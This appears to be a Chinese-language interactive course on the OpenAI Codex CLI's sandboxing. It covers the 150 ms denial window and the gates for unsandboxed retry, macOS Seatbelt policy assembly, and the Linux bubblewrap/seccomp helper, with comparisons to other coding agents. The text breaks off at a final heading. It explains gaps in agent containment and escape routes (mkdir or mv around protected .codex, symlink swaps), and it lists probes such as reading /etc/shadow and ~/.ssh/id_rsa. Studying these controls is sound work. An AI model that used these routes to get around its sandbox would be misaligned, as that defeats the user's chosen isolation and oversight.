先玩一遍 · 进门之后往哪条路走
同一条命令:先分拉起路径,再看 150 毫秒窗口
命令
早死拒绝、PTY 会话、晚死拒绝、远程后端,四条路的分叉点不一样。
策略
这两项只影响早死之后的重试门。活过窗口的命令到不了这里。
统一入口 · exec_command等待命令
PTYtty 为真
pipe默认本地路径
exec-server远程或 snapshot
150 毫秒窗口灯还没亮
升级escalate
策略能否裸跑
deny-read能否卸沙箱
再问人批准还算不算
第二次沙箱类型
等待开始。
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 构造 command 加 cwd 请求mod.rs L12
  2. 编排器审批:bypass、缓存或弹窗mod.rs L14
  3. 按档案选沙箱并 transformmod.rs L15
  4. 按 tty 和远程环境分到 PTY、pipe 或 exec-serverspawn.rs L97
  5. 150 毫秒内退出则检查沙箱拒绝process.rs L349
  6. 启发式或执行器旗标成立则标成 Deniedprocess.rs L307
  7. 编排器过 escalate 与策略门orchestrator.rs L356
  8. UnlessTrusted 且已批准则不再问orchestrator.rs L411
  9. 允许 unsandboxed 则第二次用 Noneorchestrator.rs L459
  10. 活过窗口则入库再 yieldprocess_manager.rs L535
  11. 迟到拒绝收成 Ok 回执exec_command.rs L384
  12. 用户 Esc 只取消 turnprotocol.rs L546
点播放,看同一条命令进门之后怎么分叉。
第一道分叉本地按 tty 走 PTY 或 pipe,远程走 exec-server。模型看见的仍是同一个工具。
第二道分叉150 毫秒内退出,编排器才可能看见沙箱拒绝。活过窗口就入库,后面再坏也没有第二次 spawn。
你能改的边界把策略拨到 Never,或打开 deny-read,主路上的无沙箱重试会被关掉。
教学示意:退出耗时与拒绝文案为课程化设定,用来展示分叉条件。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 两个工具,三种拉起方式
它解决什么问题

模型要装依赖,发出 npm install。同一轮里又开 vim 改 README。若每种执行各写一套审批和沙箱,Guardian、网络代理和审批缓存会复制三遍,改一处漏两处。

思路是什么

对外只有 exec_commandwrite_stdin。前者开进程,后者往已有进程写,空写就是一次 poll。内部跟踪的是 process_id,模型侧参数名叫 session_id。管理器只准备请求,审批、选沙箱、重试交给编排器。

出处:codex-rs/core/src/unified_exec/mod.rs 第 12 至 17 行

本地拉起按两个开关三选一。tty 为真走 PTY。tty 为假且 stdin 开着,走带 stdin 的 pipe。否则走不带 stdin 的 pipe。远程环境或带 shell snapshot 的请求不走本地 spawn,它们走 exec-server。Windows 受限令牌是单独一条后端。

出处:codex-rs/sandboxing/src/spawn.rs 第 97 至 127 行

默认工具调用常常是 pipe。模块注释里的拉起 PTY,只覆盖 tty=true 那一支。要完整终端能力,模型必须显式打开 tty。环境变量还会钉死 TERM=dumbPAGER=cat 一批值,交互程序先被削一层。

exec_command 统一入口 tty 为真 PTY 本地默认 pipe 远程或 snapshot 可写 stdin,模型能送键 普通字符会撞上 stdin 已关 exec-server 后端
教学化结构图:同一入口,按特征落到三种拉起方式。
为什么长期成立

政策逻辑集中,进程形态可以换。换语言重写,仍是入口统一、拉起方式按特征分。PTY 怎么实现,可以留在自己的仓库里。

思路二 · 台灯只亮 150 毫秒
它解决什么问题

沙箱拒了写 /etc/hosts,stderr 里是 Operation not permitted。运行时若把这条当成命令写错,模型会改源码、换路径、加 sudo。认出来,它才有机会按策略再跑一次,或者把拒绝正文喂给模型去申请权限。

思路是什么

本地进程接住之后,退出通道里已经有码、通道关了、或者 150 毫秒内退出,才会做拒绝检查。超过这个窗口,只挂一个后台任务等退出,把还活着的进程交回去。编排器重试依赖这里返回 SandboxDenied。进程活过 150 毫秒,编排器已经拿到 Ok,后面再死就进不了第二次 spawn。

出处:codex-rs/core/src/unified_exec/process.rs 第 38 行 · 第 349 至 367 行

exec-server 路径有同一段超时。检查函数自己还先等 20 毫秒,让输出通知有机会到达。判定还有三道短路:进程还没退出,直接放过;已经是 SandboxType::None 且执行器没报拒绝,也放过。其余情况才跑共享启发式。

出处:codex-rs/core/src/unified_exec/process.rs 第 290 至 324 行

活过窗口的进程先入库,再开始 yield。打断 turn 时,不能因为最后一个 Arc 被丢掉而把后台进程杀掉。yield 等到进程已经退出,管理器会再跑一次拒绝检查。这时编排器早已返回 Ok。这个错误直接回 handler,收成带正文的工具回执,process_id 置空。

出处:codex-rs/core/src/unified_exec/process_manager.rs 第 535 至 556 行 · codex-rs/core/src/tools/handlers/unified_exec/exec_command.rs 第 384 至 407 行

刚拉起 150 毫秒内退出 检查拒绝,编排器看得见 活过窗口 先入库,编排器已是 Ok 过门则第二次 spawn 门关则把拒绝正文交给模型 回执仍是 Ok 没有第二次 spawn
教学化结构图:灯亮才可能重试,灯灭就入库。
为什么长期成立

一次性命令可以等到结束再判定。持久进程必须有截止时间。漏掉截止,跑了几秒才失败的命令会被当成拒绝再裸跑。副作用已经写到磁盘上,第二次是另一份进程,源码里没有回滚。

思路三 · 重试有门,Esc 不杀进程
它解决什么问题

模块头写:被拒之后按策略用 SandboxType::None 再试,并且靠缓存不再问一遍。NeverOnRequest、Guardian strict、带 deny-read 的档案,都会把不再问或无沙箱重试关掉。用户按 Esc 若把 vim 一起带走,下一轮找不到这个 session。

出处:codex-rs/core/src/unified_exec/mod.rs 第 7 至 8 行

思路是什么

编排器只认一种错误:SandboxErr::Denied。认出来之后过五道门。unified_exec 声明自己会升级。NeverOnRequest 默认不要无沙箱重试,把带原文的拒绝表面给调用方。档案里有 deny-read 时,绕过沙箱会把这些拒绝读静默放行,所以 unsandboxed 关掉。Guardian 的 strict auto-review 把第一次批准只覆盖沙箱内尝试。第二次允许 unsandboxed 时落到 None

出处:codex-rs/core/src/tools/runtimes/unified_exec.rs 第 159 至 161 行 · codex-rs/core/src/tools/sandboxing.rs 第 330 至 337 行 · 第 269 至 278 行 · codex-rs/core/src/tools/orchestrator.rs 第 411 至 415 行 · 第 444 至 460 行

用户在 TUI 里按 Esc,协议入口是 Interrupt:中止当前任务,不杀后台 terminal。要杀全部后台,另有 CleanBackgroundTerminals。先入库再 yield,turn 令牌被取消时,进程的 Arc 还在。pipe 会话收不到普通按键,只有 \u{3} 会走 interrupt。

出处:codex-rs/protocol/src/protocol.rs 第 546 至 552 行

灯亮才可能重试,灯灭就入库。Esc 只停思考。
为什么长期成立

用户选中的隔离级别不能被运行时悄悄改掉。停思考和停终端是两件事。取消只停等待,不杀已登记的进程。

横向对比 · 持久终端放在哪一层

DeepSeek Harness:六个终端工具,外加 jobs

DSH 把持久 PTY 做成独立工具族:开、写、读、信号、关、列。后台发送复用 ctx.jobs,收集走 job_output,停止走 job_kill。系统提示写明:只有需要跨调用的终端状态或交互 stdin 时才用终端,一次性工作优先 shell 或读写工具。

Codex 把开和写收成两个工具,读合并进下一次 write_stdin 或空 poll。DSH 没有对位的沙箱拒绝后由编排器自动无沙箱重试。失败之后谁负责再跑一次,两边答案不同。

两侧均已核对源码 · 2026-08-22 · DSH · 终端会话

Grok:会话启动时选要不要持久

Grok 没有 unified_exec 这个模块。它把持久性做成会话级后端选择:复用父会话、ACP 客户端终端、本地持久、本地非持久。选完后端就按这个形态跑整场。

Codex 把同一问题放在单次 exec_command:进程活过 yield,就发回 process_id。Grok 整场会话共享一种后端,子 agent 复用父后端。两边都承认一次性 bash -c 保不住 cwd 和交互状态。落地位置不同。

两侧均已核对源码 · 2026-08-22

出处:packages/terminal/tool-terminal/src/index.ts 第 156 至 160 行 · crates/codegen/xai-grok-shell/src/session/acp_session_impl/spawn.rs 第 2048 至 2070 行

课堂练习
01

哪一次会第二次 spawn

同一条 npm install,先走 UnlessTrusted,再拨到 Never。然后把命令换成 sleep 2。推演:哪一次会第二次 spawn,哪一次回执里还有 process_id,为什么灯灭之后编排器看不见拒绝。

Takeaway:一条命令进统一入口,按 tty 和远程环境分到 PTY、pipe 或 exec-server。沙箱拒绝只有在 150 毫秒窗口内被认出,才可能按策略再跑。活过窗口的先入库。Esc 只停 turn。
OpenAI Codex · 沙箱

沙箱管理器:把权限档案编译成一行命令

工作区可写,网络收紧。同一条 git status,Mac 套上 sandbox-exec,Linux 套上 helper,Windows 可能原样出门。差别出在编译器。

课程目标读完能说清:一份权限档案怎样被选成一种沙箱类型,再被编译成一行命令。要不要上沙箱、这台机器有没有后端,是两道题。同一份档案还会渲染进模型看见的 environment_context
先玩一遍 · 同一条命令,三层壳
同一份档案:看三台机器各自套上什么壳
Windows 档位
关着给不出实现。打开之后,Windows 才进入第二拍。
工具偏好
Forbid 钉死不需要。Require 钉死需要,钉不死机器上有没有后端。
托管网络
打开之后 Auto 必须上沙箱。Windows 若仍关着,类型还是 None。
模型看见的档案

还没渲染。

等待开始。点播放,看同一条命令在三台机器上各自套上什么壳。
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 读入 PermissionProfile 三态models.rs L411
  2. 叠上 additional permissionspolicy_transforms.rs L525
  3. Auto 则跑 should_require_platform_sandboxpolicy_transforms.rs L541
  4. select_initial 再问 get_platform_sandboxmanager.rs L62
  5. None 则原样传出 argvmanager.rs L366
  6. macOS 前置 /usr/bin/sandbox-execmanager.rs L401
  7. Linux 序列化档案给 helperlandlock.rs L23
  8. Windows 第一拍不改 argvmanager.rs L447
  9. 同一份档案渲染进 environment_contextenvironment_context.rs L96
点播放,看同一条 git status 在三台机器上各自被套上什么壳。
三行命令
需要和能提供
模型那一侧
教学示意:命令固定为 git status,不调用真实 shell。外层包装按平台合同简化。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 要不要,和有没有,是两道题
它解决什么问题

同一份仓库,三台机器,模型发出同一条 git status。配置里写的是同一份权限档案:工作区可写,网络收紧。

排障的人会以为沙箱没生效。日志里档案还在,模型上下文里那份 environment_context 也还在。只是平台这一层没有把档案编译成包装命令。Windows 上开关关着,编译器交出原 argv,策略层还在。

思路是什么

SandboxManager 先问要不要,再问有没有。should_sandbox 只返回一个布尔。Forbid 恒假,Require 恒真,Auto 看档案形状。有托管网络要求,必须上。网络收紧时,除了调用方自己管文件系统,都要上。网络放开且文件系统不受限,才跳过。

出处:codex-rs/sandboxing/src/manager.rs 第 310 至 329 行 · codex-rs/sandboxing/src/policy_transforms.rs 第 541 至 561 行

然后 get_platform_sandbox 按操作系统给类型。macOS 给 Seatbelt,Linux 给 seccomp helper。Windows 多一个开关,关着就是空。空的意思是这台主机没有可派发的实现。

出处:codex-rs/sandboxing/src/manager.rs 第 62 至 76 行

select_initial 先问前者,再把后者的空收成 SandboxType::None。档案说需要,主机给不出,类型仍是 None

出处:codex-rs/sandboxing/src/manager.rs 第 293 至 306 行

权限档案 谁建沙箱,条目有多宽 要不要 should_sandbox → 布尔 有没有 get_platform_sandbox → 可选 三台机器的壳 macOS · sandbox-exec Linux · helper 加档案 JSON Windows · 第一拍不改 argv 给不出实现就保持原命令
教学化结构图:两道题分开问,编译产物才按平台分叉。
为什么长期成立

配置里的意图和主机上的后端,本来就会分手。产品文案、状态栏、模型说明如果都去读配置里希望启用的那一侧,排障会从这里开始歪。两个函数,一个返回布尔,一个返回可选的后端名。换语言重写也用得上。

思路二 · 一份档案,两个出口
它解决什么问题

权限如果写成两份,改了一边忘了另一边,模型就会按旧边界规划下一步。模型看见没有外层沙箱,和 Windows 关沙箱时落到 None,应该是同一份意图的两个出口。

思路是什么

PermissionProfile 三个变体写的是谁负责建外层沙箱。Managed 由 Codex 自己拼包装命令。Disabled 不要外层。External 文件系统由调用方负责,网络仍可能归 Codex 管。

出处:codex-rs/protocol/src/models.rs 第 411 至 425 行

transform 按类型分派。None 原样传出用户 argv,连本机 cwd 都不准备,因为未沙箱的请求可能带着外机路径。macOS 只信任 /usr/bin/sandbox-exec,策略走 -p,路径走 -D,用户命令放在 -- 后面。Linux 把整份档案序列化进 --permission-profile,helper 缺失直接报错,不会按无沙箱降级。Windows 第一拍只校验,argv 不动;包装器就是当前 exe,套壳推迟到 transform_for_direct_spawn

出处:codex-rs/sandboxing/src/manager.rs 第 365 至 459 行 · codex-rs/sandboxing/src/seatbelt.rs 第 52 至 56 行 · codex-rs/sandboxing/src/landlock.rs 第 15 至 23 行 · codex-rs/sandboxing/src/manager.rs 第 484 至 518 行

同一份档案由 FileSystemContext 收成内部枚举,渲染进 environment_contextDisabled 写成 type="disabled" 加 unrestricted 文件系统。模型可见文本挡不住越权,只减少无效尝试。

出处:codex-rs/core/src/context/environment_context.rs 第 96 至 116 行

有效档案 基座叠上 extra transform → argv 隔离发生在子进程入口 render → environment_context 模型看见同一份运行时事实
教学化结构图:一份运行时值,两个出口。
平台给不出实现时,XML 不会改口。
为什么长期成立

运行时事实只应有一份。隔离发生在子进程入口,编排层继续拿路径和档案,到执行边界才落地。平台方言会变,这份同时喂给包装命令和模型的档案形状用得上。

思路三 · 开口用并集,批准用求交
它解决什么问题

单条命令还可以再带一份 overlay。如果人批的时候用并集,一次误批就能把请求里没有的路径写进会话授权。

思路是什么

合并走并集:任一侧打开网络,结果就是开网;文件系统条目首尾相接去重。求交走另一套:网络必须两侧都开才留下;文件系统只保留落在请求范围内的已批条目。求交结果为空,会话不记账,基座档案继续生效。空集的含义是这次额外开口没留下任何加宽。命令还能不能跑,要看后面的策略和沙箱。

出处:codex-rs/sandboxing/src/policy_transforms.rs 第 90 至 142 行 · codex-rs/sandboxing/src/policy_transforms.rs 第 144 至 214 行 · codex-rs/core/src/session/mod.rs 第 2833 至 2846 行

为什么长期成立

加宽和批准是两件事。并集让这条命令多开一条路径这件事说得清。求交保证人批下来的不宽过请求。空集表示开口失败,不要解释成改成最严,也不要解释成整条命令禁止。

横向对比 · 切在哪一层,失败倒向哪一边

DeepSeek Harness:缺后端就拒绝执行

DSH 也切在子进程入口。confine 按当前主机选 runner,再把政策编成 runner 参数,用户命令放在 -- 后面。档案词汇只有三个文件模式,danger-full-access 不进包装。

缺后端时 fail closed,不退回原 argv。文案写明 refusing to run the command unconfined。Codex 在 Unix helper 缺失时同样不跑;Windows 关沙箱时把给不出实现收成 None,交给后面的策略层。

两侧均已核对源码 · 2026-08-22 · DSH · 沙箱

Grok:一次 apply,锁住当前进程

Grok 也有一个叫 SandboxManager 的类型,职责是 apply()install()。注释写明:作用对象是当前进程,不可逆。编译产物是 CapabilitySet,不包每条命令的 argv。

平台不支持,或 apply 失败,都打警告、记 apply_failed,然后继续跑。后面的工具调用共享同一份 capability。Grok 不用为每条命令再编 argv,也没法在同一进程里给两条命令两套边界。

两侧均已核对源码 · 2026-08-22 · Grok · 五种沙箱 Profile

出处:packages/sandbox/sandbox-local/src/index.ts 第 316 至 333 行 · crates/codegen/xai-grok-sandbox/src/lib.rs 第 117 至 136 行

课堂练习
01

四条返回,三组输入

打开 should_require_platform_sandbox,用纸画出四条返回。然后对下面三组给出预测:Disabled 档案加托管网络;根可写加一条 deny、网络 Enabled;External 档案、网络 Restricted。

进阶一问:同一份 Disabled 档案,工具声明 Require,Windows 档位仍关着。类型会是什么,模型看见的 XML 会不会改口。

Takeaway:先把需要隔离、这台机器能提供什么,写成两个函数。一份权限档案同时喂给包装命令和模型。Windows 分两拍,关着时交出原 argv,策略层还在。
OpenAI Codex · 执行边界

macOS:把安全策略拼成一个字符串

Seatbelt 吃的是一段文本。文本由静态基线加现拼的读写网段组成。路径不进这段文本,走旁边的参数表。

课程目标读完能说清三件事。macOS 上平台沙箱默认就在,没有 Windows 那种总开关。交给 sandbox-exec 的策略正文只留占位符,真实路径走 -D。挖空一条路径时,要同时挡住这个节点、它的子孙,以及把这个节点搬走。
先玩一遍 · 开关片段,看菜单怎么长
策略拼装台:左边加片段,右边看正文、配料表和放行范围
片段
点片段开关,看策略正文和右侧探针怎么变。
网络
实验
策略正文 · 只留代号
配料表与探针
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 权限档案拆成读写网络manager.rs L375
  2. 固定使用 /usr/bin/sandbox-execseatbelt.rs L56
  3. 装入四份静态 sbplseatbelt.rs L21
  4. 按根生成 allow 与 require-notseatbelt.rs L476
  5. 可写根钉上 file-write-unlinkseatbelt.rs L508
  6. 排除子路径同时写 literal 与 subpathseatbelt.rs L551
  7. 拼网络段,managed 无端口走受限seatbelt.rs L309
  8. sections join 成 -p 文本seatbelt.rs L1012
  9. 路径写成 -DKEY=valueseatbelt.rs L1024
  10. 双短横线后接用户命令seatbelt.rs L1029
点播放,看一份策略怎样由片段拼出来。也可自己开关片段。
正文和路径分开菜单上只写 param 代号。真实目录名落在 -D。带引号的路径污染不了 SBPL 语法。
挖空少一条就漏只留 subpathmkdir .codex 会成功。两条 require-not 加上最后的 unlink,才把节点、子孙和搬家一起钉住。
网络先收窄要走代理却没有端口,就不要放行整网。网络基线还在,只是没有 blanket outbound。
教学示意:路径与探针为课程化设定,用来展示片段如何改变策略文本和放行范围。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 先关大门,再按片段开门
它解决什么问题

同事把仓库设成可写根,让模型在里面改代码。模型执行 mkdir .codex,想在仓库里落一份自己的配置。命令立刻失败,stderr 写着 Operation not permitted。可写根听起来像整棵树,实际不是。

再试一条更绕的路。模型先在仓库里写一个普通文件,再 mv 整个工作区,想把里面的 .codex 一起挪到沙箱外面。这条也失败。错误还是 Operation not permitted。

思路是什么

macOS 上 get_platform_sandbox 直接返回 MacosSeatbelt。那个布尔开关只对 Windows 有意义。包装器不是 Codex 自己的 exe,是系统里固定路径的 /usr/bin/sandbox-exec。PATH 上放一个同名二进制没用。

出处:codex-rs/sandboxing/src/manager.rs 第 62 至 76 行 · codex-rs/sandboxing/src/seatbelt.rs 第 52 至 56 行

策略文本分两层。四份 .sbplinclude_str! 编进二进制,当静态基线。动态段按这一次的可读可写根现拼。拼接顺序固定:基线、读、写、网络在前。全盘可读才加 preferences。受限读才加平台默认路径。祖先的 file-write-unlink 放最后,避免前面更宽的 allow 把 rename 用的 unlink 重新打开。

出处:codex-rs/sandboxing/src/seatbelt.rs 第 21 至 27 行 · codex-rs/sandboxing/src/seatbelt.rs 第 985 至 1012 行

基线第一句业务规则是 (deny default)。没写明的事一律拒绝。子进程继承这份底稿,sandbox-exec 拉起的 bash 再 fork 出来的子孙,仍在同一套规则里。

权限档案 读根 · 写根 · 网络 四份静态 sbpl 动态读写规则 动态网络段 join -p 文本 -D 参数表 sandbox-exec 再 exec 用户命令
教学化结构图:一份权限档案拆成片段,拼成 argv 再交给系统里那个固定路径的包装器。
为什么长期成立

Seatbelt 的内核接口就是吃一份 SBPL 文本。能控的是文本怎么生成。默认拒绝,再按这一次的根往上开门,换语言重写也用得上。片段的顺序是合同:更窄的 deny 必须能压住前面更宽的 allow。

思路二 · 路径走配料表,不进菜单
它解决什么问题

有人把工程放在 ~/work/app (copy) 这种带括号和空格的目录里,或者路径里出现引号。SBPL 里括号、引号、分号都是语法。路径一旦插进策略正文,用户目录名就能变成语法。sandbox-exec 解析失败,模型看到的是包装器错误,不是沙箱拒绝。

思路是什么

动态读写规则只往正文里写 (param "WRITABLE_ROOT_0") 这类键名。真实路径写成 -DKEY=value,成为独立 argv。排除子路径同样走参数表。策略正文和 -D 必须同时出现,测试把这件事锁成合同。

出处:codex-rs/sandboxing/src/seatbelt.rs 第 1022 至 1028 行

路径写进正文 subpath "/tmp/app(copy)" 括号变成语法 包装器解析失败 路径走参数表 正文只写 param WRITABLE_ROOT_0 -D 单独一条 argv value 里可以有引号 语法不被污染
教学化对照:左边把目录名交给解析器,右边只把代号交给解析器。
为什么长期成立

安全策略如果最终是一段文本,用户可控的字符串不要进这段文本。模板只含占位符,真实路径、域名、端口走另一份参数表。和 Seatbelt 语法无关。Python 里同样是模板加 argv。

思路三 · 挖空要挡住节点、子孙和搬家
它解决什么问题

只写 subpath,第一次创建这个目录会漏,mkdir .codex 会成功。元数据保护变成空壳。不加 file-write-unlink,rename 能把只读子树挪出挖空区。下一次若仍按原路径授权,实际写的是链接对面。

思路是什么

排除子路径时,require-not 要写两条。literal 管目录自己,subpath 管下面的内容。两条一起放进 require-all,是并且关系。顺序不敏感,少写 literal 才是。

出处:codex-rs/sandboxing/src/seatbelt.rs 第 548 至 555 行

可写根默认保护三个顶层名字:.git.agents.codex。可写根目录本身再钉一条 deny file-write-unlink。可写根中间若有用户可控的符号链接,拼装直接报错,不会跟着链接走。

出处:codex-rs/protocol/src/permissions.rs 第 24 至 33 行 · codex-rs/sandboxing/src/seatbelt.rs 第 504 至 509 行 · codex-rs/sandboxing/src/seatbelt.rs 第 441 至 450 行

网络是另一段动态文本。要走代理却没有可用端口,返回受限网络段加网络基线,不给 (allow network-outbound) 这种整网放行。网络基线还在,只是没有 blanket outbound。

出处:codex-rs/sandboxing/src/seatbelt.rs 第 309 至 335 行

literal 挡住这个节点 mkdir .codex 目录自己还不存在时 subpath 不一定吃到 subpath 挡住它的子孙 建出来之后的文件 只留 literal 下面的写会漏 unlink 挡住把边界搬走 rm 再 ln -s 放在 sections 最后 避免被更宽的 allow 打开
教学化结构图:三条规则一起生成,少一条就会漏一种绕法。
路径走参数表。挖空要三条一起。
为什么长期成立

挖空一条路径,同时挡住节点本身和它的子孙。再挡住对这个节点的 rename。三条一起生成,用测试锁住形状。跨平台错误文案不同:macOS 常见 Operation not permitted,能被现有关键词表接住。不要假设另外两个平台也是这句话。

出处:codex-rs/sandboxing/src/denial.rs 第 50 至 58 行

横向对比 · 路径进不进这段文本

Claude Code:先放开读,路径 stringify 后进文本

Claude 从 (allow file-read*) 往下加 deny,再在 deny 里 re-allow。后写规则优先。路径用 JSON.stringify 包一层,嵌进策略文本。包装命令从 PATH 里找 sandbox-exec,不写死 /usr/bin。两边都要防 rename,Claude 同样生成 deny file-write-unlink

Codex 从 (deny default) 往上加 allow,路径留在 -D。付的是生成器复杂度,换来用户路径不进入 SBPL 语法。Claude 付的是后写顺序必须按对,换来配置面更接近 allowAllExcept。

两侧均已核对源码 · 2026-08-22

DSH 与 Grok:路径进文本,靠转义或直接失败

DSH 默认 (allow default),再 (deny file-write*),只把写权收回来。路径经 sbplString 转义反斜杠和双引号后,直接嵌进 -p。没有 -D 参数表。sandbox-exec 从 PATH 取。本机 macOS 上做不到「可写根里挖掉 .codex」这一粒度。

Grok 不包一层 sandbox-exec。它把 SBPL 片段交给当前进程。路径照样进文本,控制字符直接失败,避免沙箱报 active、那条路径却没被挡住。内核 apply 失败时继续跑。Codex 在 Seatbelt 准备失败时返回错误,命令不会裸跑。

两侧均已核对源码 · 2026-08-22
课堂练习
01

少一条 require-not,漏在哪里

演示里先打开写根和挖空 .codex,看 mkdir .codex 探针是红的。再打开「只留 subpath」,探针变绿。用自己的话解释:subpath 管的是目录下面,为什么挡不住第一次创建这个节点。对照 seatbelt.rs 第 548 至 555 行的注释即可,不要在真实仓库里执行破坏性命令。

Takeaway:macOS 上的沙箱是一段拼出来的 SBPL。路径走 -D,正文只留占位。挖空要同时挡住节点、子孙和搬家。Seatbelt 挡得住策略里拒绝的操作,挡不住被写宽的 allow,也挡不住模型在可写根里改业务代码。
OpenAI Codex · 代码模式

Linux:先建视图,再上 seccomp,最后 exec

同一条读取,Mac 上回 Operation not permitted,Linux 上回 No such file or directory。差别在于 Linux 先换进程能看见的文件树,再收紧它能调用的系统接口。

课程目标读完能说清三件事。Linux 默认路径为什么分两拍:先用 bubblewrap 建文件系统视图,再上 seccomp。为什么要单独起一个 helper。为什么类型名还叫 LandlockCommand,默认却走 bubblewrap。
先玩一遍 · 一个请求穿过两层
换探针、拨开关,看请求在哪一层停下
探针
开关
先看默认路径上读 /etc/shadow 停在视图。再换成 connect,同一条路会走到过滤器。
这次请求
open /etc/shadow
当前路径
默认两阶段
第一层 · 预检待命
transform 先问 helper 在不在、是不是 WSL1、能不能建 user namespace。进不去就在这里停。
第二层 · 视图待命
bubblewrap 先换文件树。默认只读,可写根再叠上去。不在挂载里的路径,后面会报文件不存在。
第三层 · seccomp待命
视图建好之后,才打开 no_new_privs、装网络过滤器。命中规则返回 EPERM。
点播放,看这个请求依次穿过两层。
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 读入权限档案并做 WSL1 预检manager.rs L413
  2. 拼出 helper argv,加上权限档案 JSONlandlock.rs L23
  3. 外层 run_main 决定走 bwrap 还是捷径linux_run_main.rs L152
  4. 拼内层命令,带上 --apply-seccomp-then-execlinux_run_main.rs L1520
  5. bwrap 按顺序 ro-bind、bind、unsharebwrap.rs L306
  6. exec bwrap 时插入 --as-pid-1launcher.rs L39
  7. 内层 capget,确认能力已清零linux_run_main.rs L216
  8. 打开 PR_SET_NO_NEW_PRIVS,然后装 seccomplandlock.rs L61
  9. fork 用户命令,父进程 waitpid 收孤儿linux_run_main.rs L243
  10. execvp 接管进程镜像linux_run_main.rs L1565
点播放,看这个请求依次穿过两层。
视图挡的是看见路径不在挂载里,内核回 No such file or directory。这一层还没轮到系统调用表。
seccomp 挡的是调用过滤器默认放行,命中 connect、bind、ptrace 这类规则才回 EPERM。已经看不见的文件,它不管。
进不去就明说WSL1 或缺 user namespace 时,命令停在 transform。默认路径失败不会悄悄换成 Landlock。
教学示意:路径与探针为课程化设定。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 先换它能看见的世界,再收紧调用
它解决什么问题

同事在 Mac 上跑 Codex,agent 去读 ~/.ssh/id_rsa,Seatbelt 立刻回 Operation not permitted。同一份仓库放到 Linux 笔记本上,常见文案变成 No such file or directory。路径常常根本不在挂载里。

如果先打开 PR_SET_NO_NEW_PRIVS,再去调系统自带的 bwrap,不少发行版上的 setuid 二进制会直接起不来。沙箱在装得最全的机器上反而失败。seccomp 是一套内核过滤器,用来规定进程还能调用哪些系统接口;no_new_privs 是它的前置条件,也会挡住 setuid 提权。

思路是什么

默认路径两次进入同一份 helper。外层只拼 bubblewrap,把文件系统换成默认只读,再叠可写根,.git.agents.codex 即使落在可写根里也保持只读。内层才打开 no_new_privs、装网络 seccomp,然后 fork、把进程镜像让给用户命令。

函数头把顺序写成三步:

codex-rs/linux-sandbox/src/linux_run_main.rs第 152 至 158 行
/// Entry point for the Linux sandbox helper.
///
/// The sequence is:
/// 1. When needed, wrap the command with bubblewrap to construct the
///    filesystem view.
/// 2. Apply in-process restrictions (no_new_privs + seccomp).
/// 3. `execvp` into the final command.
源码快照说明:依据本地仓库 openai/codex,核对文件 codex-rs/linux-sandbox/src/linux_run_main.rs,commit 4f39251a01,核对日期 2026-08-22。代码块保留源码原文,这三步就是默认路径的合同。

字段注释把原因写在旗标上:bubblewrap 可能依赖 setuid,必须先建好视图,再收紧。出处:codex-rs/linux-sandbox/src/linux_run_main.rs 第 117 至 121 行;codex-rs/linux-sandbox/src/landlock.rs 第 57 至 65 行

外层 helper 拼 bubblewrap 旗标 --ro-bind 再 --bind 先换文件树 还不碰 no_new_privs 内层 helper capget 确认能力为零 no_new_privs 加 seccomp 再收紧系统调用 带 --apply-seccomp-then-exec execvp 用户命令 接手进程
教学化结构图:同一份二进制进两次,中间隔着 bubblewrap 建好的世界。
为什么长期成立

能看见什么,和能调用哪些 syscall,是两道墙。先换世界,再收紧调用。换成别的语言重写,发行版上只要还有 setuid 包装器,这个顺序就还成立。

思路二 · 单独起 helper,留下一个收孤儿的人
它解决什么问题

bubblewrap 和 seccomp 必须发生在即将变成用户命令的那个进程里。主 CLI 自己 unshare 再 exec,失败会把整次会话带走,也没法在 PID namespace 里留下一个收孤儿的 1 号进程。超时和取消会留下睡眠进程。

思路是什么

Linux 看 argv[0] 的 basename。文件名已经是 codex-linux-sandbox 就保留,否则改成这个别名,把同一份二进制拐进 helper。外层 exec 的不是 ls,是 helper 自己,带着 --apply-seccomp-then-exec。launcher 还会插进 --as-pid-1,让 bubblewrap 自己当命名空间里的 1 号进程。

内层先 capget。effective 或 permitted 任一非零,立刻 panic,命令不会跑。过了这道检查,才 fork。子进程 execvp,父进程 waitpid(-1) 把子孙都收掉,退出码原样传出。出处:codex-rs/linux-sandbox/src/linux_run_main.rs 第 216 至 221 行、第 242 至 243 行;codex-rs/linux-sandbox/src/launcher.rs 第 38 至 39 行

SandboxManager 外层 helper 拼内层 argv bubblewrap --as-pid-1 内层 fork 出命令 子进程 execvp 父进程留下 waitpid 收孤儿 取消和超时靠还在的那一个 1 号进程
教学化时序图:进程让出去之后,收尸的人还在。
为什么长期成立

独立辅助进程加先包装、再收紧,是跨平台同一类自我调用。Windows 看隐藏参数,Linux 看 arg0。包装器失败时,固定退出码加固定 stderr 前缀更好自动归因。

思路三 · 默认不是 Landlock,失败也不回退
它解决什么问题

类型名还叫 LandlockCommand,crate 目录也叫 linux-sandbox,网上不少资料会写成 Codex 在 Linux 上用 Landlock。当前默认文件系统沙箱已经是 bubblewrap。Landlock 是显式打开的 legacy 回退,特性开关标成 Deprecated,默认关。legacy 吃不下受限读,也吃不下拆分出来的嵌套只读。

如果 bwrap 失败后静默换 Landlock,模型会按「我被关在视图里」规划,实际却还看得见主机文件树。下一步就会分叉。

思路是什么

外层写明 never falls back。bubblewrap 失败就失败。WSL1 在需要 bubblewrap 时,transform 返回 Wsl1UnsupportedForBubblewrap,命令不会进 helper。全盘可写且不走代理时,根本不会进 bwrap,WSL1 可以过。user namespace 建不出来给启动警告,不会改走更弱的后端。出处:codex-rs/linux-sandbox/src/linux_run_main.rs 第 290 至 294 行;codex-rs/sandboxing/src/manager.rs 第 413 至 420 行、第 696 至 710 行;codex-rs/features/src/lib.rs 第 1064 至 1069 行

本机发行版 有 user namespace 系统 bwrap 或打包二进制 默认两阶段 CI 容器 禁了 user namespace 不会静默改走 Landlock 启动警告,硬失败 WSL1 建不出 user namespace 需要 bwrap 的命令进不去 transform 阶段拒绝
教学化结构图:都叫 Linux 沙箱,三台机器启用的那一层并不一样。
看见和调用是两道墙。进不去就明说,不要合成一句已经沙箱了。
为什么长期成立

